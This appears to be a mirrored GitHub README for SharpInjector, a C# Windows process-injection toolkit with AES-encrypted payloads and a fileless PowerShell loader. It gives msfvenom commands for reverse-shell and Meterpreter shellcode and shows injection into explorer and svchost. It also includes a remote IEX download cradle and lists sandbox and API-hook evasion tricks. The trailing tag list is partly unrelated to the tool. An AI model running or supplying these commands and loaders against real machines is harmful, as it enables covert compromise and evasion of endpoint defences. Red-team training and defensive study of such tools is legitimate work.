totekuh/sharp-injector
GitHub: totekuh/sharp-injector
支持多种注入技术的 Windows 进程注入工具包,带 AES 加密和无文件 PS1 加载器。
Stars: 0 | Forks: 0
# SharpInjector
一个用 C# 编写的 Windows 进程注入工具包。支持多种注入技术和 AES 加密的嵌入式 payload。编译为 .NET Framework 以实现最大兼容性 —— 开箱即运行在任何 Windows 机器上。
在 OffSec OSEP 课程期间构建。
## 注入技术
| Technique | Flag | 描述 |
|-----------|------|-------------|
| **VirtualAlloc** | `--type=virtualalloc` | 经典注入,通过 `VirtualAllocEx` + `WriteProcessMemory` + `CreateRemoteThread` |
| **MapSection** | `--type=mapsection` | Native API 注入,通过 `NtCreateSection` + `NtMapViewOfSection` + 远程线程 |
| **Process Hollowing** | `--type=hollowing` | 生成一个挂起的进程,覆盖入口点,恢复执行 |
| **DLL Injection** | `--type=loadlibrary` | 将 DLL 路径写入目标进程,通过远程线程调用 `LoadLibraryA` |
## 前置条件
在你的 Kali(或任何 Linux)构建机器上安装:
```
sudo apt install mono-mcs dotnet-sdk-8.0 python3
```
- `mono-mcs` 将注入器编译为 .NET Framework(可在任何 Windows 上运行)
- `dotnet` SDK 仅在构建时用于运行 AES 加密器
- `python3` 生成反射式 PS1 加载器
## 构建
### 1. 生成你的 payload
Shellcode 模式 —— 将原始 shellcode 文件放置为 `shellcode.bin`:
```
# reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f raw -o shellcode.bin
# meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 -f raw -o shellcode.bin
# just pop calc for testing
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o shellcode.bin
```
DLL 模式 —— 将你的 DLL 放置为 `shellcode.dll`。
### 2. 构建
```
# Standalone EXE — shellcode injection
make build-shellcode
# Standalone EXE — DLL injection
make build-dll
```
这会运行加密器(生成随机 AES 密钥,加密你的 payload),然后使用 `mcs` 将所有内容编译为单个 .NET Framework EXE,其中加密后的 payload 和密钥作为嵌入式资源嵌入。输出:`dist/SharpInjector.exe`。
### 3. 构建反射式 PS1 加载器(可选)
```
make loader-shellcode
# or
make loader-dll
```
与上述相同,但随后对 EXE 进行 gzip 压缩,base64 编码,并将其包装在一个 PowerShell 函数中,该函数通过 `Assembly.Load()` 在内存中加载程序集。在目标上从不接触磁盘。输出:`dist/Invoke-SharpInjector.ps1`。
## 用法
### 独立 EXE
将 `dist/SharpInjector.exe` 复制到目标并运行:
```
:: Process hollowing into svchost (default for shellcode mode)
SharpInjector.exe
:: Inject into explorer via VirtualAllocEx + CreateRemoteThread
SharpInjector.exe --type=virtualalloc --process=explorer.exe
:: Inject into notepad via NtCreateSection + NtMapViewOfSection
SharpInjector.exe --type=mapsection --process=notepad.exe
:: Hollow a specific process
SharpInjector.exe --type=hollowing --start=C:\Windows\System32\notepad.exe
:: DLL mode (if built with make build-dll)
SharpInjector.exe --type=loadlibrary --process=explorer.exe
```
### 反射式 PS1 加载器
完全在内存中加载和执行 —— 磁盘上没有 EXE:
```
# From disk
. .\Invoke-SharpInjector.ps1
Invoke-SharpInjector
# With arguments
Invoke-SharpInjector "--type=virtualalloc --process=explorer.exe"
# Remote download cradle
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/Invoke-SharpInjector.ps1')
Invoke-SharpInjector
```
## 规避特性
- **AES 加密** —— payload 在构建时使用随机密钥加密,在运行时解密
- **睡眠检查** —— 通过 `kernel32!Sleep` 计时检测沙箱快进
- **VirtualAllocExNuma** —— 使用 NUMA 感知分配以绕过某些 API 挂钩
- **内存加载** —— PS1 加载器通过 `Assembly.Load()` 解压并加载程序集,从不写入磁盘
## 测试
需要由 [winbox](https://github.com/totekuh/winbox) 管理的 Windows 虚拟机:
```
make test
```
生成 calc shellcode,构建所有变体,通过共享文件夹部署到虚拟机,运行每种注入技术,并验证 `calc.exe` 是否已生成。
## 许可证
仅供授权的安全测试和教育用途。
标签:AES加密, AI合规, DLL注入, DNS 反向解析, Kali Linux, NtCreateSection, OffSec, OSEP, RedTeam, Shellcode, SSH蜜罐, 中高交互蜜罐, 内存操作, 嗅探欺骗, 恶意软件开发, 技术调研, 权限维持, 流量审计, 私有化部署, 进程注入, 进程空洞, 逆向工具, 防御规避